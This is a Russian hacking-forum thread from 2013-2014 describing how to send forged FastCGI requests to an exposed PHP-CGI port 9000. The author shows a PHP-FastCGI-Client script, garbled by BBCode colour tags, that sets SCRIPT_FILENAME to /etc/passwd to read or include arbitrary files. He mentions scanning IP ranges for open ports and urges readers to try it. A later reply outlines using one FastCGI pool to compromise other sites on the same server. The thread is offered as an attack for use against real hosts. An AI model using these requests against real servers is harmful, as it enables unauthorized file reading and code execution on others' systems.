Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Один на один с PHP-CGI (https://forum.antichat.xyz/showthread.php?t=395182)

VY_CMa 27.09.2013 07:47

Введение

Как правило, при увеличении масштаба проекта появляются дополнительные серверы и оборудование. Не всегда это базы данных и кэшеры. Иногда это и вычислительные мощности, на которых стоит PHP, а как известно PHP может работать в нескольких режимах. О всех я писать не буду, рассмотрим лишь режим CGI и что с него можно поиметь.

Как вы могли заметить, на данный момент наиболее часто встречаемым веб-сервером является nginx. Для связи с PHP данный сервер использует конструкцию вроде:

Код:

Code:
location ~ \.php$ {
            root          /var/www/;
            fastcgi_pass  127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  /var/www/$fastcgi_script_name;
            include        fastcgi_params;
}

Все запросы касаемые работу с PHP идут на 9000 порт хоста 127.0.0.1.

В случае, если PHP находится на стороннем сервере, можно предположить, что 9000 порт на этом сервере открыт для внешних соединений, пусть и не всегда для наших

Что еще можно заметить из кода? А то, что для обращения используется протокол FastCGI. Становится понятно, что мы можем попробовать отправить на бэкэнд свой CGI-запрос, минуя веб-сервер.

В качестве примера я поставил на тестовом сервере (на котором было 35 задание) Nginx, Spawn-FCGI и PHP5-CGI. Spawn-fcgi в данном случае нужен для связи веб-сервера с PHP.

По умолчанию при запуске PHP-CGI используется локальный IP. В случае отдельного сервера возможна прослушка как внешнего ипа, так и всех интерфейсов. Выглядит это примерно так

cat /etc/init.d/php-cgi

Код:

Code:
#!/bin/bash
PHP_FCGI_CHILDREN=3
PHP_FCGI_MAX_REQUESTS=1000
PHP_SCRIPT="/usr/bin/spawn-fcgi -a 0.0.0.0 -p 9000 -u www-data -g www-data -f /u                                              sr/bin/php5-cgi"
RETVAL=0
case "$1" in
        start)
                $PHP_SCRIPT
                RETVAL=$?
                ;;
        stop)
                killall -9 php5-cgi
                RETVAL=$?
                ;;
        restart)
                killall -9 php5-cgi
                $PHP_SCRIPT
                RETVAL=$?
                ;;
        *)
                echo "Usage: sudo $0 {start|stop|restart}"
                exit 1
                ;;
esac
exit $RETVAL

Ок. PHP слушает 9000 порт, просканим хост с помощью nmap.

http://makescreen.ru/ii/715281dd70ea...28aaacfc29.jpg

Как видно "слушатель" помечен как "tcpwrapped".

Как действуем?

Логично предположить, что нам нужно как-то послать специальный запрос к php с помощью FCGI протокола. Изобретать ничего не нужно, уже есть готовые решения. Одним из таковых является PHP-FastCGI-Client.

С помощью него, мы можем совершить покушение.

Ссылка для клонирования: https://github.com/adoy/PHP-FastCGI-Client.

Если посмотреть оригинальный запрос веб-сервера к php, подменим php "nc -lvp 9000" мы можем видеть следующее:

http://makescreen.ru/ii/3dc288986bbf...291d07bdd4.jpg

Отсюда видно, что SCRIPT_FILENAME указывает нашему интерпретатору файл, из которого нужно брать код. Мы же можем изменить запрос для проведения RCE.

В качестве жертвы я выбрал файл /etc/passwd.

cat fcgiget.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'CGI/1.1'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'REQUEST_METHOD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SCRIPT_FILENAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'/etc/passwd'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SCRIPT_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],

[/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'DOCUMENT_URI'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SERVER_SOFTWARE'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'nginx/1.5.5'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'REMOTE_ADDR'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'127.0.0.1'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'REMOTE_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'9985'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SERVER_ADDR'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'127.0.0.1'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SERVER_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'80'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'127.0.0.1'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'SERVER_PROTOCOL'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'HTTP/1.1'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'CONTENT_TYPE'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'CONTENT_LENGTH'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'REDIRECT_STATUS'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'200'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:23.0)'

[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#0000BB"]$client[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

[/
COLOR][/COLOR

Проверим так ли всё хорошо.

http://makescreen.ru/ii/99901d0bdb45...990d80e20a.jpg

Гуд ворк, файл проинклужен Дальше по накатанной.

Видео с демонстрацией инклуда: http://www.youtube.com/watch?v=O98KsYKJqoo

А теперь о проблемах

В большинстве случаев, на реальных серверах в качестве FCGI выступает PHP-FPM, у которого есть свои политики безопасности. Проблема в том, что по умолчанию выполнять он может только файлы с расширением .php, что делает нас бессильными. Я проверил пару вариантов по поводу обхода ограничения на расширение, но пока безуспешно. Если у вас есть идеи по этому поводу, было бы здорово

Вторая проблема - это то, что не всегда используется 9000 порт, но для этого нужно лишь время, чтобы собрать наиболее используемые.

Третья проблема заключается в ошибке, которую я пока не распознал. Просканировав некоторый диапазон IP на открытость порта, и проверив вручную багу, получить ответ от сервера не удалось. С чем это связано пока не ясно. Возможно какие-то защиты, а возможно из клиента нужно отправлять еще какие-то параметры. Но это уже покажет время. Пробуйте

Expl0ited 27.09.2013 16:15

На смом деле в реале ни разу не встречал, что бы кто-то вешал php на отдельный порт, давая этому порту доступ из вне, чаще всего если и вешают то доступ непосредственно локалхосту, или же работает в сокете

Егорыч+++ 27.09.2013 17:00

Цитата:

Сообщение от Expl0ited
Expl0ited said:
На смом деле в реале ни разу не встречал, что бы кто-то вешал php на отдельный порт, давая этому порту доступ из вне, чаще всего если и вешают то доступ непосредственно локалхосту, или же работает в сокете

на VDS вешают на внешний

daniel_1024 17.02.2014 15:00

При некоторой конфигурации FastCGI возможен взлом других сайтов на сервере. Пример php-fpm.conf когда есть несколько pool-ов:

Цитата:

Сообщение от None
[site1]
listen = 127.0.0.1:9001
user = user1
group = staff
[site2]
listen = 127.0.0.1:9002
user = user2
group = staff

Ломаем site1, создаем файл /tmp/pwn.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Шлем пакет на 127.0.0.1:9002 и запрашиваем /tmp/pwn.php

VY_CMa 21.07.2014 12:35

Спускаем (=


Время: 21:30